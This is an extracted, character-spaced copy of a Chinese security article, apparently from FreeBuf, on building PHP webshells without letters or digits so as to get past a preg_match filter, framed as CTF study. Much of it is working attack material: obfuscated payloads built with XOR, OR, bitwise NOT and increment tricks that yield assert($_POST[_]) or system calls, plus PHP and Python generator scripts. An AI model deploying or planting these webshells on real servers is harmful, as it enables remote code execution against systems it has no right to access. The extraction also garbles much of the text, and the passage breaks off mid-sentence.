搜索

[17049] 2021-07-20_老生常谈的无字母数字Webshell总结

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2021-07-20_老生常谈的无字母数字Webshell总结 老 生 常 谈 的 无 字 母 数 字 W e b s h e l l 总 结 W H O A M I   F r e e B u f   2 0 2 1 - 0 7 - 2 0 前 言 前 言 无 字 母 数 字   W e b s h e l l   是 个 老 生 常 谈 的 东 西 了 ， 之 前 打   C T F   的 时 候 也 经 常 会 遇 到 ， 每 次 都 让 我 头 大 。 由 于 一 直 没 有 去 系 统 的 研 究 过 这 个 东 西 ， 今 天 就 好 好 学 习 学 习 。 所 谓 无 字 母 数 字   W e b s h e l l ， 其 基 本 原 型 就 是 对 以 下 代 码 的 绕 过 ： 这 段 代 码 限 制 了 我 们 传 入   s h e l l   参 数 中 的 值 不 能 存 在 字 母 和 数 字 。 下 面 我 们 来 说 说 答 题 的 思 路 ： 首 先 ， 代 码 确 实 是 限 制 了 我 们 的   W e b s h e l l   不 能 出 现 任 何 字 母 和 数 字 ， 但 是 并 没 有 限 制 除 了 字 母 和 数 字 以 外 的 其 他 字 符 。 所 以 我 们 的 思 路 是 ， 将 非 字 母 数 字 的 字 符 经 过 各 种 转 换 ， 最 后 能 构 造 出 中 的 任 意 一 个 字 符 。 然 后 再 利 用   P H P   允 许 动 态 函 数 执 行 的 特 点 ， 拼 接 处 一 个 函 数 名 ， 比 如   “ a s s e r t ” 、 ” s y s t e m ” 、 ” f i l e _ p u t _ c o n t e n t s ” 、 ” c a l l _ u s e r _ f u n c ”   等 危 险 函 数 然 后 动 态 执 行 即 可 。 说 道   P H P   代 码 动 态 执 行 我 们 要 注 意 的 是 ， 在   P H P   5   中   a s s e r t ( )   是 一 个 函 数 ， 我 们 可 以 通 过 这 样 的 方 法 来 动 态 执 行 任 意 代 码 ， 此 时 它 可 以 起 到 替 代   e v a l ( )   的 作 用 。 但 是 在   P H P   7   中 ， a s s e r t ( )   不 再 是 函 数 了 ， 而 是 变 成 了 一 个 和   e v a l ( )   一 样 的 语 言 结 构 ， 此 时 便 和   e v a l ( )   一 样 不 能 再 作 为 函 数 名 动 态 执 行 代 码 ， 所 以 利 用 起 来 稍 微 复 杂 一 点 。 但 也 无 需 过 于 担 心 ， 比 如 我 们 利 用   f i l e _ p u t _ c o n t e n t s ( )   函 数 ， 同 样 可 以 用 来   G e t s h e l l   。 基 础 知 识 基 础 知 识 P H P   短 标 签 短 标 签 我 们 最 常 见 的   P H P   标 签 就 是 了 ， 但 是   P H P   中 还 有 两 种 短 标 签 ， 即 和 。 当 关 键 字   “ p h p ”   被 过 滤 了 之 后 ， 此 时 我 们 便 不 能 使 用 了 ， 但 是 我 们 可 以 用 另 外 两 种 短 标 签 进 行 绕 过 ， 并 且 在 短 标 签 中 的 代 码 不 需 要 使 用 分 号 。 其 中 ， 相 当 于 对 的 替 换 。 而 则 是 相 当 于 。 例 如 ： P H P   中 的 反 引 号 中 的 反 引 号 P H P 中 ， 反 引 号 可 以 直 接 命 令 执 行 系 统 命 令 ， 但 是 如 果 想 要 输 出 执 行 结 果 还 需 要 使 用   e c h o   等 函 数 ： 还 可 以 使 用 短 标 签 （ 比 较 灵 活 ） ： < ? p h p i f ( ! p r e g _ m a t c h ( ' / [ a - z 0 - 9 ] / i s ' , $ _ G E T [ ' s h e l l ' ] ) )   { e v a l ( $ _ G E T [ ' s h e l l ' ] ) ; } a - z 0 - 9 $ f = ' a s s e r t ' ; $ f ( . . . ) ; < ? p h p   ? > < ?   ? > < ? =   ? > < ? p h p   ? > ; < ?   ? > < ? p h p   ? > < ? =   ? > < ? p h p   e c h o   . . .   ? > < ? = ' H e l l o   W o r l d ' ? >         / /   输 出   " H e l l o   W o r l d " < ? p h p   e c h o   ` l s   / ` ; ? > < ? =   ? > < ? =   ` l s   / ` ? >
通 配 符 在 通 配 符 在   R C E   中 的 利 用 中 的 利 用 先 说 一 下 原 理 ： 在 正 则 表 达 式 中 ， 这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 前 面 的 字 符 或 表 达 式 零 次 或 一 次 。 在   S h e l l   命 令 行 中 ， 这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 任 意 一 个 字 符 。 同 理 ， 我 们 可 以 知 道 通 配 符 ： 在 正 则 表 达 式 中 ， 这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 前 面 的 字 符 或 表 达 式 零 次 或 多 次 。 在 s h e l l 命 令 行 中 ， 这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 任 意 长 度 的 字 符 串 。 这 个 字 符 串 的 长 度 可 以 是 0 ， 可 以 是 1 ， 可 以 是 任 意 数 字 。 所 以 ， 我 们 利 用 和 在 正 则 表 达 式 和   S h e l l   命 令 行 中 的 区 别 ， 可 以 绕 过 关 键 字 过 滤 ， 如 下 实 例 ： 我 们 可 以 用 以 上 格 式 的   P a y l o a d   都 可 以 读 取 到 f l a g 。 P H P   5   和 和   P H P   7   的 区 别 的 区 别 （ 1 ） 在   P H P   5   中 ， 是 一 个 函 数 ， 我 们 可 以 用 这 样 的 形 式 来 实 现 代 码 的 动 态 执 行 。 但 是 在   P H P   7   中 ， 变 成 了 一 个 和 一 样 的 语 言 结 构 ， 不 再 支 持 上 面 那 种 调 用 方 法 。 （ 但 是 好 像 在   P H P   7 . 0 . 1 2   下 还 能 这 样 调 用 ） （ 2 ） P H P 5 中 ， 是 不 支 持 这 种 调 用 方 法 的 ， 但 在   P H P   7   中 支 持 这 种 调 用 方 法 ， 因 此 支 持 这 么 写 异 或 运 算 绕 过 异 或 运 算 绕 过 绕 过 原 理 绕 过 原 理 在   P H P   中 两 个 字 符 串 异 或 之 后 ， 得 到 的 还 是 一 个 字 符 串 。 如 果 正 则 匹 配 过 滤 了 字 母 和 数 字 ， 那 就 可 以 使 用 两 个 不 在 正 则 匹 配 范 围 内 的 非 字 母 非 数 字 的 字 符 进 行 异 或 ， 从 而 得 到 我 们 想 要 的 字 符 串 。 例 如 ， 我 们 异 或 和 之 后 得 到 的 是 ： 基 于 此 原 理 我 们 可 以 构 造 出 无 字 母 数 字 的   W e b s h e l l ， 下 面 是   P H I T H O N   师 傅 的 一 个   P a y l o a d ： 看 到 代 码 中 的 下 划 线 、 、 是 一 个 变 量 ， 因 为   p r e g _ m a t c h ( )   过 滤 了 所 有 的 字 母 ， 我 们 只 能 用 下 划 线 来 作 变 量 名 。 最 后 拼 接 起 来   P a y l o a d   如 下 ： 测 试 效 果 如 下 ： ? ? * * * ? * 假 设 f l a g 在 / f l a g 中 : c a t   / f l a ? c a t   / f l a * 假 设 f l a g 在 / f l a g . t x t 中 : c a t   / f l a ? ? ? ? c a t   / f l a * 假 设 f l a g 在 / f l a g s / f l a g . t x t 中 : c a t   / f l a ? ? / f l a ? ? ? ? c a t   / f l a * / f l a * 假 设 f l a g 在 f l a g g 文 件 加 里 : c a t   / ? ? ? ? ? / f l a ? c a t   / ? ? ? ? ? / f l a * a s s e r t ( ) $ _ = a s s e r t ; $ _ ( ) a s s e r t ( ) e v a l ( ) ( $ a ) ( ) ( ' p h p i n f o ' ) ( ) ; ? ~ A < ? p h p $ _ = ( ' % 0 1 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 0 5 ' ^ ' ` ' ) . ( ' % 1 2 ' ^ ' ` ' ) . ( ' % 1 4 ' ^ ' ` ' ) ;   / /   $ _ = ' a s s e r t ' ; $ _ _ = ' _ ' . ( ' % 0 D ' ^ ' ] ' ) . ( ' % 2 F ' ^ ' ` ' ) . ( ' % 0 E ' ^ ' ] ' ) . ( ' % 0 9 ' ^ ' ] ' ) ;   / /   $ _ _ = ' _ P O S T ' ; $ _ _ _ = $ $ _ _ ; $ _ ( $ _ _ _ [ _ ] ) ;   / /   a s s e r t ( $ _ P O S T [ _ ] ) ; _ _ _ _ _ _ $ _ = ( ' % 0 1 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 0 5 ' ^ ' ` ' ) . ( ' % 1 2 ' ^ ' ` ' ) . ( ' % 1 4 ' ^ ' ` ' ) ; $ _ _ = ' _ ' . ( ' % 0 D ' ^ ' ] ' ) . ( ' % 2 F ' ^ ' ` ' ) . ( ' % 0 E ' ^ ' ] ' ) . ( ' % 0 9 ' ^ ' ] ' ) ; $ _ _ _ = $ $ _ _ ; $ _ ( $ _ _ _ [ _ ] ) ; / /   密 码 为   " _ "
构 造 脚 本 构 造 脚 本 下 面 给 出 一 个 异 或 绕 过 的 脚 本 ： 首 先 运 行 以 上   P H P   脚 本 后 ， 会 生 成 一 个   t x t   文 档   x o r _ r c e . t x t ， 里 面 包 含 所 有 可 见 字 符 的 异 或 构 造 结 果 。 接 着 运 行 以 下   P y t h o n   脚 本 ， 输 入 你 想 要 构 造 的 函 数 名 和 要 执 行 的 命 令 即 可 生 成 最 终 的   P a y l o a d ： < ? p h p $ m y f i l e   =   f o p e n ( " x o r _ r c e . t x t " ,   " w " ) ; $ c o n t e n t s = " " ; f o r   ( $ i = 0 ;   $ i   <   2 5 6 ;   $ i + + )   {   f o r   ( $ j = 0 ;   $ j   < 2 5 6   ;   $ j + + )   {   i f ( $ i < 1 6 ) { $ h e x _ i = ' 0 ' . d e c h e x ( $ i ) ; } e l s e { $ h e x _ i = d e c h e x ( $ i ) ; } i f ( $ j < 1 6 ) { $ h e x _ j = ' 0 ' . d e c h e x ( $ j ) ; } e l s e { $ h e x _ j = d e c h e x ( $ j ) ; } $ p r e g   =   ' / [ a - z 0 - 9 ] / i ' ;         / /   根 据 题 目 给 的 正 则 表 达 式 修 改 即 可 i f ( p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ i ) ) | | p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ j ) ) ) { e c h o   " " ; } e l s e { $ a = ' % ' . $ h e x _ i ; $ b = ' % ' . $ h e x _ j ; $ c = ( u r l d e c o d e ( $ a ) ^ u r l d e c o d e ( $ b ) ) ; i f   ( o r d ( $ c ) > = 3 2 & o r d ( $ c ) < = 1 2 6 )   { $ c o n t e n t s = $ c o n t e n t s . $ c . "   " . $ a . "   " . $ b . " n " ; } } } } f w r i t e ( $ m y f i l e , $ c o n t e n t s ) ; f c l o s e ( $ m y f i l e ) ; #   - * -   c o d i n g :   u t f - 8   - * - d e f   a c t i o n ( a r g ) : s 1 = " " s 2 = " " f o r   i   i n   a r g : f = o p e n ( " x o r _ r c e . t x t " , " r " ) w h i l e   T r u e : t = f . r e a d l i n e ( ) i f   t = = " " : b r e a k i f   t [ 0 ] = = i : # p r i n t ( i ) s 1 + = t [ 2 : 5 ] s 2 + = t [ 6 : 9 ] b r e a k f . c l o s e ( ) o u t p u t = " ( " " + s 1 + " " ^ " " + s 2 + " " ) " r e t u r n ( o u t p u t ) w h i l e   T r u e :
测 试 效 果 如 下 ： 或 运 算 绕 过 或 运 算 绕 过 绕 过 原 理 绕 过 原 理 在 前 面 异 或 绕 过 中 我 们 说 了 ， P H P   中 两 个 字 符 串 异 或 之 后 得 到 的 还 是 一 个 字 符 串 。 那 么 或 运 算 原 理 也 是 一 样 ， 如 果 正 则 匹 配 过 滤 了 字 母 和 数 字 ， 那 就 可 以 使 用 两 个 不 在 正 则 匹 配 范 围 内 的 非 字 母 非 数 字 的 字 符 进 行 或 运 算 ， 从 而 得 到 我 们 想 要 的 字 符 串 。 构 造 脚 本 构 造 脚 本 下 面 给 出 一 个 或 运 算 绕 过 的 脚 本 ： w h i l e   T r u e : p a r a m = a c t i o n ( i n p u t ( " n [ + ]   y o u r   f u n c t i o n ： " )   ) + a c t i o n ( i n p u t ( " [ + ]   y o u r   c o m m a n d ： " ) ) + " ; " p r i n t ( p a r a m ) [ + ]   y o u r   f u n c t i o n ： s y s t e m [ + ]   y o u r   c o m m a n d ： l s   / ( " % 0 8 % 0 2 % 0 8 % 0 8 % 0 5 % 0 d " ^ " % 7 b % 7 b % 7 b % 7 c % 6 0 % 6 0 " ) ( " % 0 c % 0 8 % 0 0 % 0 0 " ^ " % 6 0 % 7 b % 2 0 % 2 f " ) ; < ? p h p $ m y f i l e   =   f o p e n ( " o r _ r c e . t x t " ,   " w " ) ; $ c o n t e n t s = " " ; f o r   ( $ i = 0 ;   $ i   <   2 5 6 ;   $ i + + )   {   f o r   ( $ j = 0 ;   $ j   < 2 5 6   ;   $ j + + )   {   i f ( $ i < 1 6 ) { $ h e x _ i = ' 0 ' . d e c h e x ( $ i ) ; } e l s e { $ h e x _ i = d e c h e x ( $ i ) ; } i f ( $ j < 1 6 ) { $ h e x _ j = ' 0 ' . d e c h e x ( $ j ) ; } e l s e { $ h e x _ j = d e c h e x ( $ j ) ; } $ p r e g   =   ' / [ 0 - 9 a - z ] / i ' ;         / /   根 据 题 目 给 的 正 则 表 达 式 修 改 即 可 i f ( p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ i ) ) | | p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ j ) ) ) { e c h o   " " ; } e l s e { $ a = ' % ' . $ h e x _ i ; $ b = ' % ' . $ h e x _ j ; $ c = ( u r l d e c o d e ( $ a ) | u r l d e c o d e ( $ b ) ) ; i f   ( o r d ( $ c ) > = 3 2 & o r d ( $ c ) < = 1 2 6 )   { $ c o n t e n t s = $ c o n t e n t s . $ c . "   " . $ a . "   " . $ b . " n " ;
首 先 运 行 以 上   P H P   脚 本 后 ， 会 生 成 一 个   t x t   文 档 o r _ r c e . t x t ， 里 面 包 含 所 有 可 见 字 符 的 或 运 算 构 造 结 果 。 接 着 运 行 以 下   P y t h o n   脚 本 ， 输 入 你 想 要 构 造 的 函 数 名 和 要 执 行 的 命 令 即 可 生 成 最 终 的   P a y l o a d ： 测 试 效 果 如 下 ： 取 反 运 算 绕 过 取 反 运 算 绕 过 绕 过 原 理 绕 过 原 理 该 方 法 和 前 面 那 两 种 绕 过 的 方 法 有 异 曲 同 工 之 妙 ， 唯 一 差 异 就 是 ， 这 里 使 用 的 是 位 运 算 里 的   “ 取 反 ”   运 算 。 先 来 看 看   P H I T H O N   师 傅 的 汉 字 取 反 绕 过 ， 利 用 的 是   U T F - 8   编 码 的 某 个 汉 字 ， 将 其 中 某 个 字 符 取 出 来 ， 比 如 的 结 果 是 ， 其 再 取 反 即 可 得 到 字 母 ： $ c o n t e n t s = $ c o n t e n t s . $ c . "   " . $ a . "   " . $ b . " n " ; } } } } f w r i t e ( $ m y f i l e , $ c o n t e n t s ) ; f c l o s e ( $ m y f i l e ) ; #   - * -   c o d i n g :   u t f - 8   - * - d e f   a c t i o n ( a r g ) : s 1 = " " s 2 = " " f o r   i   i n   a r g : f = o p e n ( " o r _ r c e . t x t " , " r " ) w h i l e   T r u e : t = f . r e a d l i n e ( ) i f   t = = " " : b r e a k i f   t [ 0 ] = = i : # p r i n t ( i ) s 1 + = t [ 2 : 5 ] s 2 + = t [ 6 : 9 ] b r e a k f . c l o s e ( ) o u t p u t = " ( " " + s 1 + " " | " " + s 2 + " " ) " r e t u r n ( o u t p u t ) w h i l e   T r u e : p a r a m = a c t i o n ( i n p u t ( " n [ + ]   y o u r   f u n c t i o n ： " )   ) + a c t i o n ( i n p u t ( " [ + ]   y o u r   c o m m a n d ： " ) ) + " ; " p r i n t ( p a r a m ) [ + ]   y o u r   f u n c t i o n ： s y s t e m [ + ]   y o u r   c o m m a n d ： l s   / ( " % 1 3 % 1 9 % 1 3 % 1 4 % 0 5 % 0 d " | " % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 " ) ( " % 0 c % 1 3 % 0 0 % 0 0 " | " % 6 0 % 6 0 % 2 0 % 2 f " ) ; ' 和 ' { 2 } " x 8 c " s e c h o   ~ ( ' 瞰 ' { 1 } ) ;         / /   a
这 里 直 接 给 出   P H I T H O N   师 傅 的   W e b s h e l l ： 缩 减 后 即 ： 注 意 ： 注 意 ： 执 行 的 时 候 要 进 行 一 次   U R L   编 码 ， 否 则   P a y l o a d   无 法 执 行 。 测 试 效 果 如 下 ： U R L   编 码 取 反 绕 过 编 码 取 反 绕 过 刚 才 我 们 介 绍 的 是 通 过 取 反 汉 字 来 得 到 我 们 想 要 的 字 母 ， 我 们 还 可 以 直 接 对 一 串 恶 意 代 码 进 行 取 反 然 后   U R L   编 码 ， 在 发 送   P a y l o a d   的 时 候 再 次 将 其 取 反 便 可 将 代 码 还 原 ， 然 后 将 其 动 态 执 行 。 并 且 ， 因 为 是 取 反 ， 基 本 上 用 的 都 是 不 可 见 字 符 ， 所 以 不 会 触 发 到 正 则 表 达 式 。 假 设 我 们 要 构 造 一 个 ， 由 于 因 为 没 有 过 滤 括 号 ， 所 以 只 需 要 先 取 反 再 编 码 字 符 串   “ p h p i n f o ”   就 行 了 ： 然 后 构 造 出 我 们 的   P a y l o a d ： 测 试 效 果 如 下 ： 是 没 有 参 数 的 ， 如 果 需 要 执 行 有 参 数 的 函 数 的 话 ， 比 如 ， 则 应 分 别 对 其 中 的 字 符 进 行 编 码 ： e c h o   ~ ( ' 瞰 ' { 1 } ) ;         / /   a e c h o   ~ ( ' 和 ' { 2 } ) ;         / /   s e c h o   ~ ( ' 和 ' { 2 } ) ;         / /   s e c h o   ~ ( ' 的 ' { 1 } ) ;         / /   e e c h o   ~ ( ' 半 ' { 1 } ) ;         / /   r e c h o   ~ ( ' 始 ' { 2 } ) ;         / /   t $ _ _ = ( ' > ' > ' < ' ) + ( ' > ' > ' < ' ) ;         / /   $ _ _ = 2 ,   利 用 P H P 的 弱 类 型 的 特 点 获 取 数 字 $ _ = $ _ _ / $ _ _ ;         / /   $ _ = 1 $ _ _ _ _ = ' ' ; $ _ _ _ = " 瞰 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 的 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 半 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 始 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ;   $ _ _ _ _ _ = _ ; $ _ _ _ = " 俯 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 瞰 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 次 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 站 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ;     / /   $ _ _ _ _ _ = _ P O S T $ _ = $ $ _ _ _ _ _ ;     / /   $ _ = $ _ P O S T $ _ _ _ _ ( $ _ [ $ _ _ ] ) ;     / /   a s s e r t ( $ _ P O S T [ 2 ] ) $ _ _ = ( ' > ' > ' < ' ) + ( ' > ' > ' < ' ) ; $ _ = $ _ _ / $ _ _ ; $ _ _ _ _ = ' ' ; $ _ _ _ = " 瞰 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 的 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 半 " ; $ _ _ _ _ 或 : $ _ _ = ( ' > ' > ' < ' ) + ( ' > ' > ' < ' ) ; $ _ = $ _ _ / $ _ _ ; $ _ _ _ _ = ' ' ; $ _ _ _ = 瞰 ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = 和 ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = 和 ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = 的 ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = 半 ; $ _ _ _ _ . = ~ ( $ _ _ _ p h p i n f o ( ) ; ( ~ % 8 F % 9 7 % 8 F % 9 6 % 9 1 % 9 9 % 9 0 ) ( ) ;         / /   p h p i n f o ( ) ; p h p i n f o ( ) s y s t e m ( ' w h o a m i ' ) ;
然 后 构 造 出 我 们 的   P a y l o a d ： 测 试 效 果 如 下 ： 构 造 脚 本 构 造 脚 本 直 接 运 行 以 下 脚 本 并 输 入 提 示 内 容 即 可 生 成   P a y l o a d ： 自 增 绕 过 自 增 绕 过 绕 过 原 理 绕 过 原 理 首 先 我 们 来 看 一 看   P H P   中 自 增 自 减 的 一 个 特 性 ： 也 就 是 说 ： 所 以 ， 只 要 我 们 能 拿 到 一 个 变 量 ， 其 值 为 ， 那 么 通 过 自 增 操 作 即 可 获 得 中 所 有 字 符 。 那 么 ， 如 何 拿 到 一 个 值 为 字 符 串 ’ a ’ 的 变 量 呢 ？ 我 们 发 现 ， 在 P H P 中 ， 如 果 强 制 连 接 数 组 和 字 符 串 的 话 ， 数 组 将 被 转 换 成 字 符 串 ， 其 值 为 ： 而 的 第 一 个 字 母 就 是 大 写   A ， 而 且 第 4 个 字 母 是 小 写   a 。 也 就 是 说 我 们 可 以 同 时 拿 到 小 写   a   和 大 写   A ， 那 么 我 们 就 可 以 拿 到 和 的 所 有 字 母 ： ( ~ % 8 C % 8 6 % 8 C % 8 B % 9 A % 9 2 ) ( ~ % 9 3 % 8 C % D F % D 0 ) ;         / /   s y s t e m ( ' l s   / ' ) ; < ? p h p / / 在 命 令 行 中 运 行 f w r i t e ( S T D O U T , ' [ + ] y o u r   f u n c t i o n :   ' ) ; $ s y s t e m = s t r _ r e p l a c e ( a r r a y ( " r n " ,   " r " ,   " n " ) ,   " " ,   f g e t s ( S T D I N ) ) ;   f w r i t e ( S T D O U T , ' [ + ] y o u r   c o m m a n d :   ' ) ; $ c o m m a n d = s t r _ r e p l a c e ( a r r a y ( " r n " ,   " r " ,   " n " ) ,   " " ,   f g e t s ( S T D I N ) ) ;   e c h o   ' [ * ]   ( ~ ' . u r l e n c o d e ( ~ $ s y s t e m ) . ' ) ( ~ ' . u r l e n c o d e ( ~ $ c o m m a n d ) . ' ) ; ' ; [ + ] y o u r   f u n c t i o n :   s y s t e m [ + ] y o u r   c o m m a n d :   l s   / [ * ]   ( ~ % 8 C % 8 6 % 8 C % 8 B % 9 A % 9 2 ) ( ~ % 9 3 % 8 C % D F % D 0 ) ; " A " + +   = = >   " B " " B " + +   = = >   " C " . . . . . . a a - z A r r a y A r r a y a - z A - Z
下 面 给 出   P H I T H O N   师 傅 编 写 的   W e b s h e l l ： 缩 减 后 即 ： 注 意 ： 注 意 ： 执 行 的 时 候 要 进 行 一 次   U R L   编 码 ， 否 则   P a y l o a d   无 法 执 行 。 测 试 效 果 如 下 ： 脑 洞 大 开 脑 洞 大 开 看 完 上 面 的 几 种 绕 过 姿 势 后 ， 你 也 许 对 无 字 母 数 字   W e b s h e l l   的 构 造 思 路 有 了 一 定 的 了 解 ， 下 面 所 讲 的 几 种 骚 姿 势 会 更 加 让 你 脑 洞 大 开 。 绕 过 绕 过 下 划 线 下 划 线 在 前 文 中 我 们 可 以 看 到 ， 很 多   P a y l o a d   的 构 造 都 用 到 了 下 划 线 作 为 变 量 名 。 但 即 便 是 下 划 线 被 过 滤 了 ， 我 们 也 根 本 无 需 担 心 ， 因 为 我 们 本 就 可 以 不 用 。 比 如 我 们 前 面 的 像 下 面 那 几 种   P a y l o a d   就 没 有 用 到 _ ： < ? p h p $ _ = [ ] ; $ _ = @ " $ _ " ;   / /   $ _ = ' A r r a y ' ; $ _ = $ _ [ ' ! ' = = ' @ ' ] ;   / /   $ _ = $ _ [ 0 ] ; $ _ _ _ = $ _ ;   / /   A $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ _ . = $ _ _ ;   / /   S $ _ _ _ . = $ _ _ ;   / /   S $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   E   $ _ _ _ . = $ _ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   R $ _ _ _ . = $ _ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   T $ _ _ _ . = $ _ _ ; $ _ _ _ _ = ' _ ' ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   P $ _ _ _ _ . = $ _ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   O $ _ _ _ _ . = $ _ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   S $ _ _ _ _ . = $ _ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ;   / /   T $ _ _ _ _ . = $ _ _ ; $ _ = $ $ _ _ _ _ ; $ _ _ _ ( $ _ [ _ ] ) ;   / /   A S S E R T ( $ _ P O S T [ _ ] ) ; $ _ = [ ] ; $ _ = @ " $ _ " ; $ _ = $ _ [ ' ! ' = = ' @ ' ] ; $ _ _ _ = $ _ ; $ _ _ = $ _ ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ + + ; $ _ _ _ . = $ _ _ ; $ _ _ _ . = $ _ _ ; _ _ _ _ ( " % 0 8 % 0 2 % 0 8 % 0 8 % 0 5 % 0 d " ^ " % 7 b % 7 b % 7 b % 7 c % 6 0 % 6 0 " ) ( " % 0 c % 0 8 % 0 0 % 0 0 " ^ " % 6 0 % 7 b % 2 0 % 2 f " ) ;
再 来 看 看 另 一 个 师 傅 用 过 这 样 的   P a y l o a d ， 也 可 以 绕 过 ， 而 且 效 果 极 好 ： 解 释 一 下 这 个 师 傅 的 绕 过 手 法 ： 任 何 字 符 与   0 x f f   异 或 都 会 取 相 反 ， 这 样 就 能 减 少 运 算 量 了 。 注 意 ： 测 试 中 发 现 ， 传 值 时 对 于 要 计 算 的 部 分 不 能 用 括 号 括 起 来 ， 因 为 括 号 也 将 被 识 别 为 传 入 的 字 符 串 ， 可 以 使 用 代 替 ， 原 因 是   P H P   的   u s e   o f   u n d e f i n e d   c o n s t a n t   特 性 。 例 如 这 样 的 语 句   P H P   是 不 会 判 为 错 误 的 ， 因 为 是 用 来 界 定 变 量 的 ， 这 句 话 就 是 会 将 自 动 看 为 字 符 串 ， 也 就 是 。 后 面 那 个 为 的 是 能 够 动 态 执 行 传 入 的   P H P   函 数 。 如 果 想 要 执 行 代 函 数 的 函 数 比 如 ， 那 我 们 可 以 对 后 面 括 号 里 的 参 数 做 相 同 的 编 码 处 理 ： 同 理 ， 我 们 也 可 以 直 接 进 行 取 反 ： 测 试 效 果 如 下 ： 此 外 ， 继 承 于 上 述 原 理 ， 我 们 还 可 以 直 接 使 用 反 引 号 执 行 命 令 ： 此 外 ， 继 承 于 上 述 原 理 ， 我 们 还 